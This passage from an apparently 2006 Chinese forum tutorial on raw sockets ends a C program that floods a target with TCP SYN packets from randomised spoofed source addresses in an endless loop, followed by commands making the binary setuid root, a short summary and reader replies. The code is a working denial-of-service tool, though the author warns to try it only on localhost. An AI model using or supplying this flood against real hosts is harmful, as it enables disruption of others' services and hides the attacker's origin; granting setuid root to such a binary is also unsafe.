ip->;ip_ttl=MAXTTL;              /** 最長(zhǎng)的時(shí)間   255    **/
ip->;ip_p=IPPROTO_TCP;           /** 我們要發(fā)的是 TCP包  **/
ip->;ip_sum=0;                   /** 校驗(yàn)和讓系統(tǒng)去做    **/
ip->;ip_dst=addr->;sin_addr;      /** 我們攻擊的對(duì)象      **/

/*******  開(kāi)始填寫(xiě)TCP數(shù)據(jù)包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->;source=htons(LOCALPORT);
tcp->;dest=addr->;sin_port;           /** 目的端口    **/
tcp->;seq=random();
tcp->;ack_seq=0;
tcp->;doff=5;
tcp->;syn=1;                        /** 我要建立連接 **/
tcp->;check=0;


/** 好了,一切都準(zhǔn)備好了.服務(wù)器,你準(zhǔn)備好了沒(méi)有?? ^_^  **/
while(1)
  {
/**  你不知道我是從那里來(lái)的,慢慢的去等吧!      **/
    ip->;ip_src.s_addr=random();     

/** 什么都讓系統(tǒng)做了,也沒(méi)有多大的意思,還是讓我們自己來(lái)校驗(yàn)頭部吧 */
/**            下面這條可有可無(wú)    */
    tcp->;check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr));
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 下面是首部校驗(yàn)和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;

while(nleft>;1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}
  
sum=(sum>;>;16)+(sum&0xffff);
sum+=(sum>;>;16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實(shí)驗(yàn),看看有什么結(jié)果.(千萬(wàn)不要試別人的啊). 為了讓普通用戶(hù)可以運(yùn)行這個(gè)程序,我們應(yīng)該將這個(gè)程序的所有者變?yōu)閞oot,且 設(shè)置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 總結(jié)
原始套接字和一般的套接字不同的是以前許多由系統(tǒng)做的事情,現(xiàn)在要由我們自己來(lái)做了. 不過(guò)這里面是不是有很多的樂(lè)趣呢. 當(dāng)我們創(chuàng)建了一個(gè)TCP套接字的時(shí)候,我們只是負(fù)責(zé)把我們要發(fā)送的內(nèi)容(buffer)傳遞給了系統(tǒng). 系統(tǒng)在收到我們的數(shù)據(jù)后,回自動(dòng)的調(diào)用相應(yīng)的模塊給數(shù)據(jù)加上TCP頭部,然后加上IP頭部. 再發(fā)送出去.而現(xiàn)在是我們自己創(chuàng)建各個(gè)的頭部,系統(tǒng)只是把它們發(fā)送出去. 在上面的實(shí)例中,由于我們要修改我們的源IP地址,所以我們使用了setsockopt函數(shù),如果我們只是修改TCP數(shù)據(jù),那么IP數(shù)據(jù)一樣也可以由系統(tǒng)來(lái)創(chuàng)建的.

[ 本帖最后由 CNL 于 2006-8-31 16:13 編輯 ]

論壇徽章:
0
2 [報(bào)告]
發(fā)表于 2006-06-16 11:41 |只看該作者
這么好的文章為何沒(méi)有人來(lái)頂呢?我頂.

論壇徽章:
1
榮譽(yù)版主
日期:2011-11-23 16:44:17
3 [報(bào)告]
發(fā)表于 2006-06-16 15:36 |只看該作者
暈,哥們,大字改小了
看著頭暈

論壇徽章:
1
2015年辭舊歲徽章
日期:2015-03-03 16:54:15
4 [報(bào)告]
發(fā)表于 2006-06-17 10:46 |只看該作者
字太大,沒(méi)法看!

論壇徽章:
0
5 [報(bào)告]
發(fā)表于 2006-06-19 17:40 |只看該作者
大字報(bào)嗎?看著有點(diǎn)困難。

論壇徽章:
0
6 [報(bào)告]
發(fā)表于 2006-06-30 00:19 |只看該作者
字體太大,但仍值一頂!謝謝!

論壇徽章:
0
7 [報(bào)告]
發(fā)表于 2006-08-31 15:31 |只看該作者

太好了

太好了,可以作為快速查詢(xún)資料了,

論壇徽章:
0
8 [報(bào)告]
發(fā)表于 2006-09-01 18:36 |只看該作者
我頂!!!!  這文章太好了!!
不知道有沒(méi)有用???

論壇徽章:
0
9 [報(bào)告]
發(fā)表于 2006-09-02 16:54 |只看該作者
copy,paste,save
不錯(cuò)的文章,頂一下!

論壇徽章:
0
10 [報(bào)告]
發(fā)表于 2006-09-06 13:02 |只看該作者
好東東呀收下了
您需要登錄后才可以回帖 登錄 | 注冊(cè)

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號(hào)-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號(hào):11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報(bào)專(zhuān)區(qū)
中國(guó)互聯(lián)網(wǎng)協(xié)會(huì)會(huì)員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過(guò)ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請(qǐng)注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP